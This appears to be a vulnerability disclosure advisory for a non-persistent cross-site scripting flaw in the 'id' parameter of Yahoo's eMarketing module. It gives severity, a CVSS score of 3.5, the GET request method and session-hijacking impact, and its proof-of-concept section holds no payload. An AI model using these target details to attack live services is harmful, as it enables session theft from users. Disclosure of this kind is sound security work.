Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered  in the 
official Yahoo eMarketing online service web-application.
The security vulnerability allows remote attackers to manipulate client-side 
application to browser requests to compromise user/admin session information.

The vulnerability is located in the `id` value of the `eMarketing` module. 
Remote attackers are able to inject malicious script codes to client-side GET 
method 
application requests. Remote attackers are able to prepare special crafted 
web-links to execute client-side script code that compromises the yahoo 
user/admin 
session data. The execution of the script code occurs in same module context 
location by a mouse-over. The attack vector of the vulnerability is located on 
the 
client-side of the online service and the request method to inject or execute 
the code is GET.

The security risk of the non-persistent cross site vulnerability is estimated 
as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the non-persistent cross site scripting web vulnerability 
requires no privileged web application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, 
non-persistent phishing, non-persistent external redirects, non-persistent load 
of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
                                                [+] GET

Vulnerable Module(s):
                                                [+] Yahoo > eMarketing

Vulnerable Parameter(s):
                                                [+] id


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by 
remote attackers without privilege application user account and low user 
interaction (click).
